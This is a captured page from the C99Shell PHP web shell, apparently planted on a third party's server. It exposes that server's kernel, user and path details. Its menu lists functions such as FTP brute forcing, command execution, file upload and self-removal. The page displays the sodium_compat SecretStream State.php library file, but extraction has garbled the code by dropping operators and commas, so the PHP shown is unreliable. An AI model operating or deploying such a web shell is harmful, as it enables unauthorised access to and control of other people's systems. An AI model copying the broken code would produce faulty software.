!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/phpmyadmin/vendor/paragonie/sodium_compat/src/Core/SecretStream/   drwxr-xr-x
Free 13.31 GB of 61.93 GB (21.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     State.php (3.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Class ParagonIE_Sodium_Core_SecretStream_State
 */
class ParagonIE_Sodium_Core_SecretStream_State
{
    
/** @var string $key */
    
protected $key;

    
/** @var int $counter */
    
protected $counter;

    
/** @var string $nonce */
    
protected $nonce;

    
/** @var string $_pad */
    
protected $_pad;

    
/**
     * ParagonIE_Sodium_Core_SecretStream_State constructor.
     * @param string $key
     * @param string|null $nonce
     */
    
public function __construct($key$nonce null)
    {
        
$this->key $key;
        
$this->counter 1;
        if (
is_null($nonce)) {
            
$nonce str_repeat("\0"12);
        }
        
$this->nonce str_pad($nonce12"\0"STR_PAD_RIGHT);;
        
$this->_pad str_repeat("\0"4);
    }

    
/**
     * @return self
     */
    
public function counterReset()
    {
        
$this->counter 1;
        
$this->_pad str_repeat("\0"4);
        return 
$this;
    }

    
/**
     * @return string
     */
    
public function getKey()
    {
        return 
$this->key;
    }

    
/**
     * @return string
     */
    
public function getCounter()
    {
        return 
ParagonIE_Sodium_Core_Util::store32_le($this->counter);
    }

    
/**
     * @return string
     */
    
public function getNonce()
    {
        if (!
is_string($this->nonce)) {
            
$this->nonce str_repeat("\0"12);
        }
        if (
ParagonIE_Sodium_Core_Util::strlen($this->nonce) !== 12) {
            
$this->nonce str_pad($this->nonce12"\0"STR_PAD_RIGHT);
        }
        return 
$this->nonce;
    }

    
/**
     * @return string
     */
    
public function getCombinedNonce()
    {
        return 
$this->getCounter() .
            
ParagonIE_Sodium_Core_Util::substr($this->getNonce(), 08);
    }

    
/**
     * @return self
     */
    
public function incrementCounter()
    {
        ++
$this->counter;
        return 
$this;
    }

    
/**
     * @return bool
     */
    
public function needsRekey()
    {
        return (
$this->counter 0xffff) === 0;
    }

    
/**
     * @param string $newKeyAndNonce
     * @return self
     */
    
public function rekey($newKeyAndNonce)
    {
        
$this->key ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce032);
        
$this->nonce str_pad(
            
ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce32),
            
12,
            
"\0",
            
STR_PAD_RIGHT
        
);
        return 
$this;
    }

    
/**
     * @param string $str
     * @return self
     */
    
public function xorNonce($str)
    {
        
$this->nonce ParagonIE_Sodium_Core_Util::xorStrings(
            
$this->getNonce(),
            
str_pad(
                
ParagonIE_Sodium_Core_Util::substr($str08),
                
12,
                
"\0",
                
STR_PAD_RIGHT
            
)
        );
        return 
$this;
    }

    
/**
     * @param string $string
     * @return self
     */
    
public static function fromString($string)
    {
        
$state = new ParagonIE_Sodium_Core_SecretStream_State(
            
ParagonIE_Sodium_Core_Util::substr($string032)
        );
        
$state->counter ParagonIE_Sodium_Core_Util::load_4(
            
ParagonIE_Sodium_Core_Util::substr($string324)
        );
        
$state->nonce ParagonIE_Sodium_Core_Util::substr($string3612);
        
$state->_pad ParagonIE_Sodium_Core_Util::substr($string488);
        return 
$state;
    }

    
/**
     * @return string
     */
    
public function toString()
    {
        return 
$this->key .
            
$this->getCounter() .
            
$this->nonce .
            
$this->_pad;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.8791 ]--